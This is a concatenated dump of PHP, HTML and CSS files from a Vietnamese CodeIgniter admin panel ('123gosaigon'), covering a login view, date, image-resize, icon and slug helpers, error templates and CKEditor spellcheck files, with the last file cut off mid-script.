<div class="icon"><a href="<?=url?>news"> <img src="<?=url?>templates/images/header/icon-48-content.png" alt="" /><span>Tin tức</span> </a></div>
<div class="icon"><a href="<?=url?>video"> <img src="<?=url?>templates/images/header/icon-48-phim.png" alt="" /><span>Video</span> </a></div>
<div class="icon"><a href="<?=url?>banner"> <img src="<?=url?>templates/images/header/icon-48-generic.png" alt="" /><span>Quảng cáo</span> </a></div>
<div class="icon"><a href="<?=url?>contacts"> <img src="<?=url?>templates/images/header/icon-48-inbox.png" alt="" /><span>Liên hệ</span> </a></div>
</div>
</div>
<!--
<div class="box-white">Admin</div>
<div class="box-content">admin</div>
-->
</div>
<div id="c_right" style="width: 49%;">
<!--<div class="box-white">Đơn hàng mới nhất (Shop)</div>
<div class="box-content">
<div id="orderlast"></div>
</div>
<div class="box-white">Thông báo chuyển khoản mới nhất (Mua nhóm)</div>
<div class="box-content" id="transfer_notice"> </div>-->
</div>
<script type="text/javascript">
$(document).ready(function() {
// lastorder();
// transfer_notice_last();
});
</script>
| 123gosaigon | trunk/ 123gosaigon/webadmin/views/admincp/index.php | PHP | asf20 | 1,702 |
<html>
<head>
<title>403 Forbidden</title>
</head>
<body>
<p>Directory access is forbidden.</p>
</body>
</html> | 123gosaigon | trunk/ 123gosaigon/webadmin/views/index.html | HTML | asf20 | 114 |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="description" content="">
<meta name="keywords" content="">
<title><?=lang('login');?></title>
<link rel="stylesheet" type="text/css" href="<?=base_url()?>templates/css/login.css">
<link rel="stylesheet" type="text/css" href="<?=base_url()?>templates/css/system.css">
</head>
<body>
<? if($this->session->userdata('user_group') >=24){redirect(base_url().'admincp');} ?>
<div id="wrapper">
<div id="body_login">
<div style="text-align:center; color:#F00; font-weight:bold;">
<?
if($this->session->userdata('message')){
echo $this->session->userdata('message');
}
?></div>
<div id="content">
<?=form_open(base_url());?>
<table width="400" cellpadding="5" bordercolor="#C0C0C0" border="1" style="border-collapse: collapse" id="table1">
<tbody>
<tr>
<td style="padding-left:0px; padding-bottom:Opx; padding-right:0px; padding-top:0px" class="row1" colspan="2">
<img width="400" height="50" border="0" src="<?=base_url()?>templates/images/login.gif"></td>
</tr>
<tr>
<td width="117" class="label">Thành viên : </td>
<td width="259" class="login"><input type="text" size="25" name="user_login" id="user_login" value=""></td>
</tr>
<tr>
<td width="117" class="label">Mật khẩu : </td>
<td class="login"><input type="password" size="25" name="user_pass" value="" id="user_pass"></td>
</tr>
<tr>
<td width="117" class="label">Captcha :</td>
<td class="login"><input type="text" size="10" name="captcha" value="" id="captcha">
<span><img src="<?=url()?>login/captcha" width="75" height="26" style="margin: 0px 82px 0 5px; float: right;" /></span></td>
</tr>
<tr>
<td width="117" class="row1"> </td>
<td class="buttom"><input type="submit" name="bt_submit" class="buttom" value="Đăng nhập">
<input type="reset" name="B2" class="buttom" value="Hủy bỏ"></td>
</tr>
</tbody>
</table>
<?=form_close()?>
</div>
</div>
</div>
</body>
</html> | 123gosaigon | trunk/ 123gosaigon/webadmin/views/login/index.php | PHP | asf20 | 2,824 |
<?php
function searchBar($class=array(),$option,$url_search)
{
$CI =& get_instance();
$search_bar = isset($class['search_bar'])?$class['search_bar']:'search_bar';
$key_search = isset($class['key_search'])?$class['key_search']:'key_search';
$field_search = isset($class['field_search'])?$class['field_search']:'field_search';
$btn_search = isset($class['btn_search'])?$class['btn_search']:'btn_search';
$html_search = '<div class="'.$search_bar.'">';
$html_search .= '<input onkeyup="auto_search(\''.$url_search.'\')" class="'.$key_search.'" name="key_search" id="key_search" type="text" value="'.($CI->session->userdata('key_search')?$CI->session->userdata('key_search'):'').'"/> ';
$html_search .= '<select class="'.$field_search.'" name="field_search" id="field_search">';
foreach($option as $key=>$value){
$html_search .= '<option '.($CI->session->userdata('field_search')==$key?'selected':'').' value="'.$key.'">'.$value.'</option>';
}
$html_search .= '</select> ';
//$html_search .= ' <input class="'.$btn_search.'" name="btn_search" id="btn_search" type="submit" value="Search"/>';
$html_search .= '</div>';
return $html_search;
}
?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/helpers/search_helper.php | PHP | asf20 | 1,241 |
<?php
function datevn($day=''){
if(empty($day)) return '';
return strftime("%d/%m/%Y", strtotime($day));
}
function format_date_show($date)
{
//ngay thang xem d/m/Y
if(empty($date)) return '';
$arr = explode(' ',$date);
$arr_date =explode('-',$arr[0]);
return $arr_date[2].'/'.$arr_date[1].'/'.$arr_date[0];
}
function format_date_sql($date)
{
//chuyen ngày tháng lưu trữ cho mysql: Y-m-d
if(empty($date))
{
return NULL;
}
else
{
$arr = explode('/',$date);
return $arr[2].'-'.$arr[1].'-'.$arr[0];
}
}
// tritigi:15-05-2012: chuyen doi ngay tu mysql sang hien thi kieu vietnam (d/m/Y) or (d/m/Y H:i:S).
function date_mysql2vn($strdata='', $op=0)
{
if(empty($strdata)) return '';
$strdata = $op==0 ? date("d/m/Y", strtotime($strdata)) : date("d/m/Y H:i:s", strtotime($strdata)) ;
return $strdata;
}
// tritigi:15-05-2012: chuyen doi ngay viet nam sang mysql kiễu date (Y-m-d)
function date_vn2mysql($strdata='')
{
if(empty($strdata)) return '';
$temdate=explode("/", trim($strdata));
$strdata=$temdate[2].'-'.$temdate[1].'-'.$temdate[0];
return $strdata;
}
function date_vn2time($str)
{
//date in vn : d/m/Y
if(empty($str) or (strlen($str)!=10)) return 0;
//date in english d/m/Y
$temp=explode("/", trim($str));
$strdata=$temp[1].'/'.$temp[0].'/'.$temp[2];
return $strtime = strtotime($strdata) ;
}
| 123gosaigon | trunk/ 123gosaigon/webadmin/helpers/date_helper.php | PHP | asf20 | 1,396 |
<?php
function fn_resize_image($src, $dest, $new_width = 0, $new_height = 0, $make_box = true, $bg_color = '#ffffff', $save_original = false)
{
static $notification_set = false;
static $gd_settings = array();
if(file_exists($dest)){
unlink($dest);
}
if (file_exists($src) && !empty($dest) && (!empty($new_width) || !empty($new_height)) && extension_loaded('gd')) {
$img_functions = array(
'png' => function_exists('imagepng'),
'jpg' => function_exists('imagejpeg'),
'jpeg' => function_exists('imagejpeg'),
'gif' => function_exists('imagegif'),
);
/*
if (empty($gd_settings)) {
$gd_settings = fn_get_settings('Thumbnails');
}
*/
$dst_width = $new_width;
$dst_height = $new_height;
list($width, $height, $mime_type) = fn_get_image_size($src);
if (empty($width) || empty($height)) {
return false;
}
if ($width < $new_width) {
$new_width = $width;
}
if ($height < $new_height) {
$new_height = $height;
}
if ($dst_height == 0) { // if we passed width only, calculate height
$new_height = $dst_height = ($height / $width) * $new_width;
} elseif ($dst_width == 0) { // if we passed height only, calculate width
$new_width = $dst_width = ($width / $height) * $new_height;
} else { // we passed width and height, limit image by height! (hm... not sure we need it anymore?)
if ($new_width * $height / $width > $dst_height) {
$new_width = $width * $dst_height / $height;
}
$new_height = ($height / $width) * $new_width;
if ($new_height * $width / $height > $dst_width) {
$new_height = $height * $dst_width / $width;
}
$new_width = ($width / $height) * $new_height;
}
$w = number_format($new_width, 0, ',', '');
$h = number_format($new_height, 0, ',', '');
$ext = fn_get_image_extension($mime_type);
if (!empty($img_functions[$ext])) {
if ($make_box) {
$dst = imagecreatetruecolor($dst_width, $dst_height);
} else {
$dst = imagecreatetruecolor($w, $h);
}
if (function_exists('imageantialias')) {
imageantialias($dst, true);
}
} elseif ($notification_set == false) {
$msg = fn_get_lang_var('error_image_format_not_supported');
$msg = str_replace('[format]', $ext, $msg);
fn_set_notification('E', fn_get_lang_var('error'), $msg);
$notification_set = true;
return false;
}
if ($ext == 'gif' && $img_functions[$ext] == true) {
$new = imagecreatefromgif($src);
} elseif ($ext == 'jpg' && $img_functions[$ext] == true) {
$new = imagecreatefromjpeg($src);
} elseif ($ext == 'jpeg' && $img_functions[$ext] == true) {
$new = imagecreatefromjpeg($src);
} elseif ($ext == 'png' && $img_functions[$ext] == true) {
$new = imagecreatefrompng($src);
} else {
return false;
}
// Set transparent color to white
// Not sure that this is right, but it works
// FIXME!!!
// $c = imagecolortransparent($new);
list($r, $g, $b) = fn_parse_rgb($bg_color);
$c = imagecolorallocate($dst, $r, $g, $b);
//imagecolortransparent($dst, $c);
if ($make_box) {
imagefilledrectangle($dst, 0, 0, $dst_width, $dst_height, $c);
$x = number_format(($dst_width - $w) / 2, 0, ',', '');
$y = number_format(($dst_height - $h) / 2, 0, ',', '');
} else {
imagefilledrectangle($dst, 0, 0, $w, $h, $c);
$x = 0;
$y = 0;
}
imagecopyresampled($dst, $new, $x, $y, 0, 0, $w, $h, $width, $height);
//if ($gd_settings['convert_to'] == 'original') {
$gd_settings['convert_to'] = $ext;
// }
if (empty($img_functions[$gd_settings['convert_to']])) {
foreach ($img_functions as $k => $v) {
if ($v == true) {
$gd_settings['convert_to'] = $k;
break;
}
}
}
$pathinfo = pathinfo($dest);
$new_filename = $pathinfo['dirname'] . '/' . basename($pathinfo['basename'], empty($pathinfo['extension']) ? '' : '.' . $pathinfo['extension']);
// Remove source thumbnail file
/*
if (!$save_original) {
fn_rm($src);
}
*/
switch ($gd_settings['convert_to']) {
case 'gif':
$new_filename .= '.gif';
imagegif($dst, $new_filename);
break;
case 'jpg':
$new_filename .= '.jpg';
imagejpeg($dst, $new_filename, 100);
break;
case 'jpeg':
$new_filename .= '.jpeg';
imagejpeg($dst, $new_filename, 100);
break;
case 'png':
$new_filename .= '.png';
imagepng($dst, $new_filename);
break;
}
$dest = $new_filename;
@chmod($dest, 0755);
//return true;
}
//return false;
}
function resize_image($src, $dest, $new_width = 0, $new_height = 0, $make_box = true, $bg_color = '#ffffff', $save_original = false)
{
static $notification_set = false;
static $gd_settings = array();
if(file_exists($dest)){
unlink($dest);
}
if (file_exists($src) && !empty($dest) && (!empty($new_width) || !empty($new_height)) && extension_loaded('gd')) {
$img_functions = array(
'png' => function_exists('imagepng'),
'jpg' => function_exists('imagejpeg'),
'jpeg' => function_exists('imagejpeg'),
'gif' => function_exists('imagegif'),
);
/*
if (empty($gd_settings)) {
$gd_settings = fn_get_settings('Thumbnails');
}
*/
$dst_width = $new_width;
$dst_height = $new_height;
list($width, $height, $mime_type) = fn_get_image_size($src);
if (empty($width) || empty($height)) {
return false;
}
if ($width < $new_width) {
$new_width = $width;
}
if ($height < $new_height) {
$new_height = $height;
}
if ($dst_height == 0) { // if we passed width only, calculate height
$new_height = $dst_height = ($height / $width) * $new_width;
} elseif ($dst_width == 0) { // if we passed height only, calculate width
$new_width = $dst_width = ($width / $height) * $new_height;
} else { // we passed width and height, limit image by height! (hm... not sure we need it anymore?)
if ($new_width * $height / $width > $dst_height) {
$new_width = $width * $dst_height / $height;
}
$new_height = ($height / $width) * $new_width;
if ($new_height * $width / $height > $dst_width) {
$new_height = $height * $dst_width / $width;
}
$new_width = ($width / $height) * $new_height;
}
$w = number_format($new_width, 0, ',', '');
$h = number_format($new_height, 0, ',', '');
$ext = fn_get_image_extension($mime_type);
if (!empty($img_functions[$ext])) {
if ($make_box) {
$dst = imagecreatetruecolor($dst_width, $dst_height);
} else {
$dst = imagecreatetruecolor($w, $h);
}
if (function_exists('imageantialias')) {
imageantialias($dst, true);
}
} elseif ($notification_set == false) {
$msg = fn_get_lang_var('error_image_format_not_supported');
$msg = str_replace('[format]', $ext, $msg);
fn_set_notification('E', fn_get_lang_var('error'), $msg);
$notification_set = true;
return false;
}
if ($ext == 'gif' && $img_functions[$ext] == true) {
$new = imagecreatefromgif($src);
} elseif ($ext == 'jpg' && $img_functions[$ext] == true) {
$new = imagecreatefromjpeg($src);
} elseif ($ext == 'jepg' && $img_functions[$ext] == true) {
$new = imagecreatefromjpeg($src);
} elseif ($ext == 'png' && $img_functions[$ext] == true) {
$new = imagecreatefrompng($src);
} else {
return false;
}
// Set transparent color to white
// Not sure that this is right, but it works
// FIXME!!!
// $c = imagecolortransparent($new);
list($r, $g, $b) = fn_parse_rgb($bg_color);
$c = imagecolorallocate($dst, $r, $g, $b);
//imagecolortransparent($dst, $c);
if ($make_box) {
imagefilledrectangle($dst, 0, 0, $dst_width, $dst_height, $c);
$x = number_format(($dst_width - $w) / 2, 0, ',', '');
$y = number_format(($dst_height - $h) / 2, 0, ',', '');
} else {
imagefilledrectangle($dst, 0, 0, $w, $h, $c);
$x = 0;
$y = 0;
}
imagecopyresampled($dst, $new, $x, $y, 0, 0, $w, $h, $width, $height);
//if ($gd_settings['convert_to'] == 'original') {
$gd_settings['convert_to'] = $ext;
// }
if (empty($img_functions[$gd_settings['convert_to']])) {
foreach ($img_functions as $k => $v) {
if ($v == true) {
$gd_settings['convert_to'] = $k;
break;
}
}
}
$pathinfo = pathinfo($dest);
$new_filename = $pathinfo['dirname'] . '/' . basename($pathinfo['basename'], empty($pathinfo['extension']) ? '' : '.' . $pathinfo['extension']);
// Remove source thumbnail file
/*
if (!$save_original) {
fn_rm($src);
}
*/
switch ($gd_settings['convert_to']) {
case 'gif':
$new_filename .= '.gif';
imagegif($dst, $new_filename);
break;
case 'jpg':
$new_filename .= '.jpg';
imagejpeg($dst, $new_filename, 100);
break;
case 'jpeg':
$new_filename .= '.jpeg';
imagejpeg($dst, $new_filename, 100);
break;
case 'png':
$new_filename .= '.png';
imagepng($dst, $new_filename);
break;
}
$dest = $new_filename;
@chmod($dest, 0755);
return $dest;
}
return 0;
}
//
// Check supported GDlib formats
//
function fn_check_gd_formats()
{
$avail_formats = array(
'original' => fn_get_lang_var('same_as_source'),
);
if (function_exists('imagegif')) {
$avail_formats['gif'] = 'GIF';
}
if (function_exists('imagejpeg')) {
$avail_formats['jpg'] = 'JPEG';
}
if (function_exists('imagepng')) {
$avail_formats['png'] = 'PNG';
}
return $avail_formats;
}
//
// Get image extension by MIME type
//
function fn_get_image_extension($image_type)
{
static $image_types = array (
'image/gif' => 'gif',
'image/pjpeg' => 'jpeg',
'image/jpeg' => 'jpg',
'image/png' => 'png',
'application/x-shockwave-flash' => 'swf',
'image/psd' => 'psd',
'image/bmp' => 'bmp',
);
return isset($image_types[$image_type]) ? $image_types[$image_type] : false;
}
//
// Getimagesize wrapper
// Returns mime type instead of just image type
// And doesn't return html attributes
function fn_get_image_size($file)
{
// File is url, get it and store in temporary directory
if (strpos($file, '://') !== false) {
$tmp = fn_create_temp_file();
if (fn_put_contents($tmp, fn_get_contents($file)) == 0) {
return false;
}
$file = $tmp;
}
list($w, $h, $t, $a) = @getimagesize($file);
if (empty($w)) {
return false;
}
$t = image_type_to_mime_type($t);
return array($w, $h, $t);
}
function fn_attach_image_pairs($name, $object_type, $object_id = 0, $lang_code = CART_LANGUAGE, $object_ids = array (), $parent_object = '', $parent_object_id = 0)
{
$icons = fn_filter_uploaded_data($name . '_image_icon');
$detailed = fn_filter_uploaded_data($name . '_image_detailed');
$pairs_data = !empty($_REQUEST[$name . '_image_data']) ? $_REQUEST[$name . '_image_data'] : array();
return fn_update_image_pairs($icons, $detailed, $pairs_data, $object_id, $object_type, $object_ids, $parent_object, $parent_object_id, true, $lang_code);
}
function fn_generate_thumbnail($image_path, $width, $height = 0, $make_box = false)
{
if (empty($image_path)) {
return '';
}
if (strpos($image_path, '://') === false) {
if (strpos($image_path, '/') !== 0) { // relative path
$image_path = Registry::get('config.current_path') . '/' . $image_path;
}
$image_path = (defined('HTTPS') ? ('https://' . Registry::get('config.https_host')) : ('http://' . Registry::get('config.http_host'))) . $image_path;
}
$_path = str_replace(Registry::get('config.current_location') . '/', '', $image_path);
$image_url = explode('/', $_path);
$image_name = array_pop($image_url);
$image_dir = array_pop($image_url);
$image_dir .= '/' . $width . (empty($height) ? '' : '/' . $height);
$filename = $image_dir . '/' . $image_name;
$real_path = htmlspecialchars_decode(DIR_ROOT . '/' . $_path, ENT_QUOTES);
$th_path = htmlspecialchars_decode(DIR_THUMBNAILS . $filename, ENT_QUOTES);
if (!fn_mkdir(DIR_THUMBNAILS . $image_dir)) {
return '';
}
if (!file_exists($th_path)) {
if (fn_get_image_size($real_path)) {
$image = fn_get_contents($real_path);
fn_put_contents($th_path, $image);
fn_resize_image($th_path, $th_path, $width, $height, $make_box, Registry::get('settings.Thumbnails.thumbnail_background_color'));
$filename_info = pathinfo($filename);
$th_path_info = pathinfo($th_path);
$filename = $filename_info['dirname'] . '/' . $th_path_info['basename'];
} else {
return '';
}
}
return Registry::get('config.thumbnails_path') . $filename;
}
function fn_parse_rgb($color)
{
$r = hexdec(substr($color, 1, 2));
$g = hexdec(substr($color, 3, 2));
$b = hexdec(substr($color, 5, 2));
return array($r, $g, $b);
}
function fn_find_valid_image_path($image_pair, $object_type, $get_flash, $lang_code)
{
if (isset($image_pair['icon']['absolute_path']) && is_file($image_pair['icon']['absolute_path'])) {
if (!$get_flash && isset($image_pair['icon']['is_flash']) && $image_pair['icon']['is_flash']) {
// We don't need Flash at all -- no need to crawl images any more.
return false;
} else {
return $image_pair['icon']['image_path'];
}
}
// Try to get the product's image.
if (!empty($image_pair['image_id'])) {
$image = fn_get_image($image_pair['image_id'], $object_type, 0, $lang_code);
if (isset($image['absolute_path']) && is_file($image['absolute_path'])) {
if (!$get_flash && isset($image['is_flash']) && $image['is_flash']) {
return false;
}
return $image['image_path'];
}
}
// If everything above failed, try to generate the thumbnail.
if (!empty($image_pair['detailed_id'])) {
$image = fn_get_image($image_pair['detailed_id'], 'detailed', 0, $lang_code);
if (isset($image['absolute_path']) && is_file($image['absolute_path'])) {
if (isset($image['is_flash']) && $image['is_flash']) {
if ($get_flash) {
// No need to call fn_generate_thumbnail()
return $image['image_path'];
} else {
return false;
}
}
$image = fn_generate_thumbnail($image['image_path'], Registry::get('settings.Thumbnails.product_details_thumbnail_width'), Registry::get('settings.Thumbnails.product_details_thumbnail_height'), false);
if (!empty($image)) {
return $image;
}
}
}
return false;
}
function fn_convert_relative_to_absolute_image_url($image_path)
{
return 'http://' . Registry::get('config.http_host') . $image_path;
}
?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/helpers/img_helper.php | PHP | asf20 | 16,952 |
<?php
function icon_edit($link){
return '<a href="'.site_url($link).'" title="'.lang('update').'"><img src="'.base_url().'templates/icon/edit.gif"></a>';
}
function icon_active($table,$field,$id,$status){
if($status==1){
$rep ='un_';
}else{
$rep ='';
}
return '<a href="javascript:;" onclick="publish('.$table.','.$field.','.$id.','.$status.');" title="'.lang('active_deactive').'"><img src="'.base_url().'templates/icon/'.$rep.'lock.png"></a>';
}
function icon_del($link)
{
return '<a onclick="return verify_del();" href="'.site_url($link).'" title="'.lang('delete').'"><img src="'.base_url().'templates/icon/del.png"></a>';
}
function icon_trash($link)
{
return '<a onclick="return verify_del();" href="'.site_url($link).'" title="Move to trash"><img src="'.base_url().'templates/icon/del.png"></a>';
}
function icon_up($link)
{
return '<a onclick="return verify_del();" href="'.site_url($link).'" title="'.lang('up').'"><img src="'.base_url().'templates/icon/up.gif"></a>';
}
function icon_down($link){
return '<a onclick="return verify_del();" href="'.site_url($link).'" title="'.lang('down').'"><img src="'.base_url().'templates/icon/down.gif"></a>';
}
function icon_chonmua($link){
return '<a href="'.site_url($link).'" title="Đưa vào chọn mua"><img src="'.base_url().'templates/icon/chonmua.png"></a>';
}
function icon_view($link,$id=null,$rel=null){
return '<a href="'.site_url($link).'" title="Xem" id="'.$id.'" rel="'.$rel.'"><img src="'.base_url().'templates/icon/view.png"></a>';
}
function icon_log($link){
return '<a href="'.site_url($link).'" title="Xem log" ><img src="'.base_url().'templates/icon/log.png"></a>';
}
function icon_bid($link){
return '<a href="'.site_url($link).'" title="Chọn sản phẩm đấu giá" ><img src="'.base_url().'templates/icon/bid.png"></a>';
}
function icon($name){
return '<img src="'.base_url().'templates/icon/'.$name.'">';
}
?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/helpers/icon_helper.php | PHP | asf20 | 2,099 |
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
if ( ! function_exists('base_url'))
{
function base_url()
{
$CI =& get_instance();
return $CI->config->slash_item('base_url');
}
}
if ( ! function_exists('base_url_site'))
{
function base_url_site()
{
$CI =& get_instance();
return $CI->config->slash_item('base_url_site');
}
}
?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/helpers/MY_url_helper.php | PHP | asf20 | 436 |
<?php
function str_limit($str, $n = 300)
{
if (strlen($str) <= $n)
{
return $str;
}
$limit = strpos($str,' ', $n) ;
while($limit==false&&$n>1)
{ $n--;
$limit = strpos($str,' ', $n) ;
}
$limit = $limit ? $limit : $n ;
$out = substr($str, 0, $limit) ;
return $out.' ...' ;
}
function kodau($str)
{
$str = preg_replace("/(à|á|ạ|ả|ã|â|ầ|ấ|ậ|ẩ|ẫ|ă|ằ|ắ|ặ|ẳ|ẵ)/", 'a', $str);
$str = preg_replace("/(è|é|ẹ|ẻ|ẽ|ê|ề|ế|ệ|ể|ễ)/", 'e', $str);
$str = preg_replace("/(ì|í|ị|ỉ|ĩ)/", 'i', $str);
$str = preg_replace("/(ò|ó|ọ|ỏ|õ|ô|ồ|ố|ộ|ổ|ỗ|ơ|ờ|ớ|ợ|ở|ỡ)/", 'o', $str);
$str = preg_replace("/(ù|ú|ụ|ủ|ũ|ư|ừ|ứ|ự|ử|ữ)/", 'u', $str);
$str = preg_replace("/(ỳ|ý|ỵ|ỷ|ỹ)/", 'y', $str);
$str = preg_replace("/(đ)/", 'd', $str);
$str = preg_replace("/(À|Á|Ạ|Ả|Ã|Â|Ầ|Ấ|Ậ|Ẩ|Ẫ|Ă|Ằ|Ắ|Ặ|Ẳ|Ẵ)/", 'A', $str);
$str = preg_replace("/(È|É|Ẹ|Ẻ|Ẽ|Ê|Ề|Ế|Ệ|Ể|Ễ)/", 'E', $str);
$str = preg_replace("/(Ì|Í|Ị|Ỉ|Ĩ)/", 'I', $str);
$str = preg_replace("/(Ò|Ó|Ọ|Ỏ|Õ|Ô|Ồ|Ố|Ộ|Ổ|Ỗ|Ơ|Ờ|Ớ|Ợ|Ở|Ỡ)/", 'O', $str);
$str = preg_replace("/(Ù|Ú|Ụ|Ủ|Ũ|Ư|Ừ|Ứ|Ự|Ử|Ữ)/", 'U', $str);
$str = preg_replace("/(Ỳ|Ý|Ỵ|Ỷ|Ỹ)/", 'Y', $str);
$str = preg_replace("/(Đ)/", 'D', $str);
$str = preg_replace("/( )/", '-', $str);
$str = preg_replace("/(\'|\"|`|&|,|\.|\?)/", '', $str);
$str = preg_replace("/(---|--)/", '-', $str);
$pattern = '/([^a-z0-9\-\._])/i';
$str = preg_replace($pattern, '', $str);
$str = strtolower($str);
return $str;
}
?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/helpers/str_helper.php | PHP | asf20 | 1,729 |
<html>
<head>
<title>403 Forbidden</title>
</head>
<body>
<p>Directory access is forbidden.</p>
</body>
</html> | 123gosaigon | trunk/ 123gosaigon/webadmin/helpers/index.html | HTML | asf20 | 114 |
<!DOCTYPE html>
<html lang="en">
<head>
<title>Database Error</title>
<style type="text/css">
::selection{ background-color: #E13300; color: white; }
::moz-selection{ background-color: #E13300; color: white; }
::webkit-selection{ background-color: #E13300; color: white; }
body {
background-color: #fff;
margin: 40px;
font: 13px/20px normal Helvetica, Arial, sans-serif;
color: #4F5155;
}
a {
color: #003399;
background-color: transparent;
font-weight: normal;
}
h1 {
color: #444;
background-color: transparent;
border-bottom: 1px solid #D0D0D0;
font-size: 19px;
font-weight: normal;
margin: 0 0 14px 0;
padding: 14px 15px 10px 15px;
}
code {
font-family: Consolas, Monaco, Courier New, Courier, monospace;
font-size: 12px;
background-color: #f9f9f9;
border: 1px solid #D0D0D0;
color: #002166;
display: block;
margin: 14px 0 14px 0;
padding: 12px 10px 12px 10px;
}
#container {
margin: 10px;
border: 1px solid #D0D0D0;
-webkit-box-shadow: 0 0 8px #D0D0D0;
}
p {
margin: 12px 15px 12px 15px;
}
</style>
</head>
<body>
<div id="container">
<h1><?php echo $heading; ?></h1>
<?php echo $message; ?>
</div>
</body>
</html> | 123gosaigon | trunk/ 123gosaigon/webadmin/errors/error_db.php | PHP | asf20 | 1,156 |
<!DOCTYPE html>
<html lang="en">
<head>
<title>404 Page Not Found</title>
<style type="text/css">
::selection{ background-color: #E13300; color: white; }
::moz-selection{ background-color: #E13300; color: white; }
::webkit-selection{ background-color: #E13300; color: white; }
body {
background-color: #fff;
margin: 40px;
font: 13px/20px normal Helvetica, Arial, sans-serif;
color: #4F5155;
}
a {
color: #003399;
background-color: transparent;
font-weight: normal;
}
h1 {
color: #444;
background-color: transparent;
border-bottom: 1px solid #D0D0D0;
font-size: 19px;
font-weight: normal;
margin: 0 0 14px 0;
padding: 14px 15px 10px 15px;
}
code {
font-family: Consolas, Monaco, Courier New, Courier, monospace;
font-size: 12px;
background-color: #f9f9f9;
border: 1px solid #D0D0D0;
color: #002166;
display: block;
margin: 14px 0 14px 0;
padding: 12px 10px 12px 10px;
}
#container {
margin: 10px;
border: 1px solid #D0D0D0;
-webkit-box-shadow: 0 0 8px #D0D0D0;
}
p {
margin: 12px 15px 12px 15px;
}
</style>
</head>
<body>
<div id="container">
<h1><?php echo $heading; ?></h1>
<?php echo $message; ?>
</div>
</body>
</html> | 123gosaigon | trunk/ 123gosaigon/webadmin/errors/error_404.php | PHP | asf20 | 1,160 |
<!DOCTYPE html>
<html lang="en">
<head>
<title>Error</title>
<style type="text/css">
::selection{ background-color: #E13300; color: white; }
::moz-selection{ background-color: #E13300; color: white; }
::webkit-selection{ background-color: #E13300; color: white; }
body {
background-color: #fff;
margin: 40px;
font: 13px/20px normal Helvetica, Arial, sans-serif;
color: #4F5155;
}
a {
color: #003399;
background-color: transparent;
font-weight: normal;
}
h1 {
color: #444;
background-color: transparent;
border-bottom: 1px solid #D0D0D0;
font-size: 19px;
font-weight: normal;
margin: 0 0 14px 0;
padding: 14px 15px 10px 15px;
}
code {
font-family: Consolas, Monaco, Courier New, Courier, monospace;
font-size: 12px;
background-color: #f9f9f9;
border: 1px solid #D0D0D0;
color: #002166;
display: block;
margin: 14px 0 14px 0;
padding: 12px 10px 12px 10px;
}
#container {
margin: 10px;
border: 1px solid #D0D0D0;
-webkit-box-shadow: 0 0 8px #D0D0D0;
}
p {
margin: 12px 15px 12px 15px;
}
</style>
</head>
<body>
<div id="container">
<h1><?php echo $heading; ?></h1>
<?php echo $message; ?>
</div>
</body>
</html> | 123gosaigon | trunk/ 123gosaigon/webadmin/errors/error_general.php | PHP | asf20 | 1,147 |
<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">
<h4>A PHP Error was encountered</h4>
<p>Severity: <?php echo $severity; ?></p>
<p>Message: <?php echo $message; ?></p>
<p>Filename: <?php echo $filepath; ?></p>
<p>Line Number: <?php echo $line; ?></p>
</div> | 123gosaigon | trunk/ 123gosaigon/webadmin/errors/error_php.php | PHP | asf20 | 288 |
<html>
<head>
<title>403 Forbidden</title>
</head>
<body>
<p>Directory access is forbidden.</p>
</body>
</html> | 123gosaigon | trunk/ 123gosaigon/webadmin/errors/index.html | HTML | asf20 | 114 |
/*
Copyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
body
{
/* Font */
font-family: Arial, Verdana, sans-serif;
font-size: 12px;
/* Text color */
color: #222;
/* Remove the background color to make it transparent */
background-color: #fff;
}
html
{
/* #3658: [IE6] Editor document has horizontal scrollbar on long lines
To prevent this misbehavior, we show the scrollbar always */
_overflow-y: scroll
}
img:-moz-broken
{
-moz-force-broken-image-icon : 1;
width : 24px;
height : 24px;
}
img, input, textarea
{
cursor: default;
}
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/contents.css | CSS | asf20 | 674 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<!--
Copyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
-->
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<script type="text/javascript">
function gup( name )
{
name = name.replace( /[\[]/, '\\\[' ).replace( /[\]]/, '\\\]' ) ;
var regexS = '[\\?&]' + name + '=([^&#]*)' ;
var regex = new RegExp( regexS ) ;
var results = regex.exec( window.location.href ) ;
if ( results )
return results[ 1 ] ;
else
return '' ;
}
var interval;
function sendData2Master()
{
var destination = window.parent.parent ;
try
{
if ( destination.XDTMaster )
{
var t = destination.XDTMaster.read( [ gup( 'cmd' ), gup( 'data' ) ] ) ;
window.clearInterval( interval ) ;
}
}
catch (e) {}
}
function onLoad()
{
interval = window.setInterval( sendData2Master, 100 );
}
</script>
</head>
<body onload="onLoad()"><p></p></body>
</html>
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/wsc/dialogs/ciframe.html | HTML | asf20 | 1,120 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<!--
Copyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
-->
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<script type="text/javascript">
function doLoadScript( url )
{
if ( !url )
return false ;
var s = document.createElement( "script" ) ;
s.type = "text/javascript" ;
s.src = url ;
document.getElementsByTagName( "head" )[ 0 ].appendChild( s ) ;
return true ;
}
var opener;
function tryLoad()
{
opener = window.parent;
// get access to global parameters
var oParams = window.opener.oldFramesetPageParams;
// make frameset rows string prepare
